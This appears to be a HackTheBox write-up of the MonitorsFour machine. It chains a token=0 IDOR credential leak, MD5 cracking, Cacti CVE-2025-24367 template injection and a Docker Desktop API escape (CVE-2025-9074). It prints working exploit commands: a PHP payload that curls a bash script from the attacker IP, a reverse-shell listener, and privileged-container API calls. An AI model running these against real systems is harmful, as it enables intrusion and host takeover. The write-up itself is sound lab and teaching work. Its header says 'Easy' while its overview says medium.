Difficulty: Easy
OS: Windows
Release Date: 6th December, 2025
Retire Date: TBD
Link: https://app.hackthebox.com/machines/MonitorsFour
This writeup was produced for educational purposes in the context of an authorized HackTheBox lab environment.
Table of Contents
- Overview
- Approach
- Reconnaissance
- IDOR Vulnerability — Token=0 Credential Leak
- Hash Cracking — marcus:wonderful1
- Cacti Admin Access — Credential Reuse
- CVE-2025-24367 — Cacti Authenticated RCE
- Post-Exploitation — Container Enumeration
- CVE-2025-9074 — Docker Desktop API Escape
- Flags
- Key Findings
Overview
MonitorsFour is a medium-difficulty Windows machine layered with WSL2 and Docker Desktop, designed to test understanding of chained vulnerabilities across web, credential, and container attack surfaces. The initial foothold is established through two web bugs in sequence: an IDOR vulnerability (falsy token validation) leaks all user credentials, and credential reuse grants administrator access to a Cacti monitoring instance running version 1.2.28. Authenticated RCE is achieved via CVE-2025-24367, a graph template injection that abuses rrdtool to write a PHP webshell. Inside the resulting Docker container, the Docker Desktop API is exposed unauthenticated on a known WSL2 bridge IP (CVE-2025-9074), allowing the creation of a privileged container with the WSL2 root filesystem mounted — ultimately reaching the Windows host's C:\ drive and the Administrator's desktop.

Attack Chain at a Glance
Port scan → Port 80 (nginx) + Port 5985 (WinRM)
↓
Subdomain enumeration → cacti.monitorsfour.htb
↓
IDOR: GET /user?token=0 → full user dump with MD5 hashes
↓
hashcat / john → marcus:wonderful1
↓
Credential reuse → Cacti 1.2.28 full admin
↓
CVE-2025-24367 → Graph Template right_axis_label injection
↓
rrdtool batch injection → PHP webshell written to webroot
↓
Reverse shell as www-data inside Docker container (821fbd6a43fa)
↓
uname -a → WSL2 kernel confirmed
↓
CVE-2025-9074: Docker API unauthenticated at 192.168.65.7:2375
↓
Privileged alpine container + Binds ["/:/mnt/host"]
↓
/mnt/host/mnt/host/c/ → Windows C: drive
↓
root.txt + user.txt
Approach
The methodology followed a standard black-box penetration testing workflow:
- Enumerate exposed TCP ports and services, then expand to virtual hosts and subdomains.
- Exploit the falsy-value IDOR on the main site's
/userAPI to dump all credentials. - Crack the extracted MD5 hash offline against the rockyou wordlist.
- Reuse the recovered password across all available login surfaces, including Cacti.
- Exploit CVE-2025-24367 — an authenticated graph template injection — to obtain RCE inside the Cacti Docker container.
- Enumerate the container's network environment to identify the unauthenticated Docker Desktop API.
- Abuse CVE-2025-9074 to create a privileged container with the host filesystem mounted, escalating from container to Windows SYSTEM.
No credential brute-forcing was required at any stage.
Reconnaissance
Port Scan
nmap -sC -sV -Pn -p 80,443,5985 10.129.25.157
Results:
| Port | State | Service | Notes |
|---|---|---|---|
| 80/tcp | open | http | nginx — redirects to monitorsfour.htb |
| 5985/tcp | open | http | Microsoft HTTPAPI 2.0 (WinRM) |
The coexistence of nginx (Linux-associated) and WinRM (Windows-only) immediately signals a containerised or WSL2-backed architecture. This observation becomes critical during the privilege escalation phase.
Hosts Configuration
echo "10.129.25.157 monitorsfour.htb cacti.monitorsfour.htb" >> /etc/hosts
Subdomain Enumeration
The main site at monitorsfour.htb presented a static corporate template with a non-functional login form. Subdomain fuzzing revealed the real attack surface:
wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.monitorsfour.htb" --hh 13688 http://10.129.25.157
Result:
000000034: 302 "cacti" → cacti.monitorsfour.htb
cacti.monitorsfour.htb hosts a Cacti 1.2.28 network monitoring instance — the primary exploitation target.
Lesson: Always enumerate virtual hosts. The main site may be a decoy; the real application often lives on a subdomain.
IDOR Vulnerability — Token=0 Credential Leak
The main site exposes a /user API endpoint that accepts a token parameter for authentication. Testing edge-case values revealed a falsy-value IDOR:
curl "http://monitorsfour.htb/user?token=0"
Response:
[
{"id":2,"username":"admin","email":"[email protected]",
"password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user",
"name":"Marcus Higgins","position":"System Administrator"},
{"id":5,"username":"mwatson","password":"69196959c16b26ef00b77d82cf6eb169","role":"user"},
{"id":6,"username":"janderson","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user"},
{"id":7,"username":"dthompson","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user"}
]
A complete user dump — including MD5 password hashes — was returned without authentication.
Root Cause
The developer's validation logic evaluates token as a boolean:
if token: # token=0 evaluates to False in Python, PHP, JavaScript, etc.
validate_token(token)
else:
return all_users() # Reached when token="0"
In many languages 0 is a falsy value. The check if token instead of if token is not None (or equivalent) means token=0 bypasses validation entirely and falls through to the unrestricted return path.
Lesson: Always test0,-1,null,undefined, and empty strings on every authenticated parameter. Type-juggling vulnerabilities are endemic across web stacks.
Hash Cracking — marcus:wonderful1
All four hashes are 32-character hex strings — classic unsalted MD5. The admin account hash was cracked offline:
echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hashes.txt
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Result:
wonderful1 (admin)
Verification:
echo -n "wonderful1" | md5sum
# 56b32eb43e6f15395f6c46c1c9e1cd36 ✓
The admin account (full name: Marcus Higgins) uses the password wonderful1. Credentials acquired: marcus:wonderful1
Cacti Admin Access — Credential Reuse
With credentials in hand, both available login surfaces were tested:
| Target | Credentials | Result |
|---|---|---|
monitorsfour.htb login |
admin:admin |
Fails |
cacti.monitorsfour.htb |
admin:admin |
Succeeds — limited user |
cacti.monitorsfour.htb |
marcus:wonderful1 |
Full admin access |
| WinRM (port 5985) | marcus:wonderful1 |
Fails (different Windows password) |
The marcus username maps to the same password as the IDOR-leaked admin hash, granting full Cacti console access including Graph Templates.
Lesson: Credential reuse is one of the most reliable pivots in real-world engagements. Every recovered password should be tried on every available login form.
CVE-2025-24367 — Cacti Authenticated RCE
Vulnerability Description
Cacti 1.2.28 is affected by an authenticated remote code execution vulnerability via graph template injection. The right_axis_label field in Graph Templates is passed unsanitised to rrdtool when Cacti renders a graph. When rrdtool processes commands in batch mode (piped stdin), newlines in the label value inject additional rrdtool commands into the batch stream.
The exploitation technique abuses rrdtool's graph command with -a CSV output mode: by specifying a .php file as the output destination and embedding PHP code in a LINE1 data element label, rrdtool writes a file to the Cacti webroot whose extension causes Apache/PHP to interpret and execute the embedded code.
Target Template
The "Unix — Logged in Users" graph template (ID 226) is linked to local_graph_id=3, which has an associated data source. The graph_json.php endpoint triggers rendering of this graph.
Exploitation — PoC
A public PoC for this CVE is available from the original machine author:
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC
cd CVE-2025-24367-Cacti-PoC
pip install beautifulsoup4
The PoC operates in two stages:
- Stage 1 — Payload delivery: Injects a PHP file that downloads a bash reverse shell from the attacker's HTTP server via
curl. - Stage 2 — Execution: Injects a second PHP file that executes the downloaded bash script.
The PoC also spawns a temporary HTTP server on port 80 to serve the bash payload file.
# Terminal 1 — reverse shell listener
nc -lvnp 1234
# Terminal 2 — run the exploit
python3 exploit.py \
-url "http://cacti.monitorsfour.htb" \
-u marcus \
-p wonderful1 \
-i 10.10.14.28 \
-l 1234
Output:
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: P2DFn.php
[+] Got payload: /bash
[i] Created PHP filename: G2IQH.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80
Injection Payload (internals)
The right_axis_label value injected by the PoC follows this structure:
XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph <RANDOM>.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`curl\x2010.10.14.28/bash\x20-o\x20bash`;?>
The \x20 hex escapes represent spaces within the shell command embedded in the PHP label — necessary because unescaped spaces in rrdtool LINE1 labels would be misinterpreted as argument separators.
Shell Received
connect to [10.10.14.28] from (UNKNOWN) [10.129.25.157] 50776
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$
The hostname 821fbd6a43fa is a Docker container short ID — confirming the initial foothold is inside a container, not the host OS.
Post-Exploitation — Container Enumeration
Kernel Identification
uname -a
# Linux 821fbd6a43fa 6.6.87.2-microsoft-standard-WSL2 ...
The kernel string microsoft-standard-WSL2 confirms the container is running inside Windows Subsystem for Linux 2 on a Windows host. The full architecture is:
Windows 11 Host
└─ WSL2 VM (Linux kernel)
└─ Docker Desktop
└─ Cacti container ← www-data shell
User Flag
cat /home/marcus/user.txt
# 0798eeaf2f4d1d232fe1607b819c6a14
CVE-2025-9074 — Docker Desktop API Escape
Vulnerability Description
Docker Desktop for Windows exposes its management API on 192.168.65.7:2375 — the fixed WSL2 bridge IP — without any authentication. All containers running inside the WSL2 VM have network access to this address. An attacker with a foothold in any container can use this unauthenticated API to spawn new containers with host filesystem mounts and Privileged: true, effectively escaping to the WSL2 VM root and, through nested mounts, to the Windows host filesystem.
Step 1 — Confirm API Access
curl http://192.168.65.7:2375/version
{
"Version": "28.3.2",
"ApiVersion": "1.51",
"KernelVersion": "6.6.87.2-microsoft-standard-WSL2"
}
Unauthenticated access to the Docker Engine API confirmed.
Step 2 — Create Privileged Container with Host Mount
curl -X POST http://192.168.65.7:2375/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["sleep", "infinity"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/mnt/host"]
}
}'
{"Id":"74ad974c450b0ca2ed3bb87ba2bc88e38dee4fe4a14ef942e5a7d09db726fccb","Warnings":[]}
The "Cmd": ["sleep", "infinity"] ensures the container stays running for subsequent exec calls.
Step 3 — Start the Container
curl -X POST http://192.168.65.7:2375/containers/74ad974c.../start
Step 4 — Execute Commands via the API
Commands are issued through the exec API in two calls: first to create an exec instance, then to start it:
EXEC_ID=$(curl -s -X POST "http://192.168.65.7:2375/containers/74ad974c.../exec" \
-H "Content-Type: application/json" \
-d '{"Cmd":["ls","-la","/mnt/host/mnt/host"],"AttachStdout":true,"AttachStderr":true}' \
| grep -o '"Id":"[^"]*"' | cut -d'"' -f4)
curl -X POST "http://192.168.65.7:2375/exec/${EXEC_ID}/start" \
-H "Content-Type: application/json" \
-d '{"Detach":false,"Tty":false}'
Output:
drwxr-xr-x ... c ← Windows C: drive
drwxr-xr-x ... wsl
drwxr-xr-x ... wslg
Filesystem Path Explanation
The nested mount path /mnt/host/mnt/host/c/ reflects the two-layer virtualisation:
Alpine container
/mnt/host/ ← WSL2 VM root (Docker bind-mount of /)
mnt/
host/ ← Windows drives (WSL2 auto-mount of Windows FS)
c/ ← Windows C: drive
WSL2 automatically mounts Windows drive letters under /mnt/ within the VM. Because the Docker container mounts the WSL2 root at /mnt/host, the Windows filesystem is reachable at /mnt/host/mnt/host/c/.
Step 5 — Read the Root Flag
EXEC_ID=$(curl -s -X POST "http://192.168.65.7:2375/containers/74ad974c.../exec" \
-H "Content-Type: application/json" \
-d '{"Cmd":["cat","/mnt/host/mnt/host/c/Users/Administrator/Desktop/root.txt"],
"AttachStdout":true,"AttachStderr":true}' \
| grep -o '"Id":"[^"]*"' | cut -d'"' -f4)
curl -s -X POST "http://192.168.65.7:2375/exec/${EXEC_ID}/start" \
-H "Content-Type: application/json" \
-d '{"Detach":false,"Tty":false}'
"5d4e1dccc8c2f570481966f1b4bb99f7
Flags
| Flag | Value |
|---|---|
| user.txt | 0798eeaf2f4d1d232fe1607b819c6a14 |
| root.txt | 5d4e1dccc8c2f570481966f1b4bb99f7 |
Key Findings
| # | Finding | Severity | Impact |
|---|---|---|---|
| 1 | IDOR via falsy token value — GET /user?token=0 returns all users and password hashes due to if token instead of if token is not None |
High | Full credential database exposed to unauthenticated attackers |
| 2 | Unsalted MD5 password storage — all user passwords stored as raw MD5, trivially reversible against wordlists | High | Credential recovery in seconds for common passwords |
| 3 | Credential reuse across services — the same password used on the internal API, Cacti login, and (partially) system accounts | High | Single compromised credential pivots to full application admin |
| 4 | CVE-2025-24367 — Authenticated RCE in Cacti 1.2.28 via unsanitised right_axis_label field passed to rrdtool in graph templates |
Critical | Arbitrary OS command execution as the web service user inside the container |
| 5 | CVE-2025-9074 — Unauthenticated Docker Desktop API exposed on 192.168.65.7:2375 — reachable from all containers within the WSL2 VM |
Critical | Any container can create new privileged containers with arbitrary host filesystem mounts, escaping container isolation entirely |
| 6 | WSL2 filesystem cross-mount — Docker privileged containers can reach the Windows host filesystem through nested WSL2 auto-mounts at /mnt/host/mnt/host/c/ |
High | Container-level code execution escalates to Windows Administrator file read/write |
Tools Used
| Tool | Purpose |
|---|---|
nmap |
Port scanning and service fingerprinting |
wfuzz |
Virtual host / subdomain enumeration |
curl |
IDOR exploitation, Cacti API interaction, Docker API abuse |
john + rockyou.txt |
Offline MD5 hash cracking |
| CVE-2025-24367 PoC (TheCyberGeek) | Cacti authenticated RCE via graph template injection |
netcat |
Reverse shell listener |
| Docker Engine REST API | Container creation, start, exec — all via unauthenticated HTTP |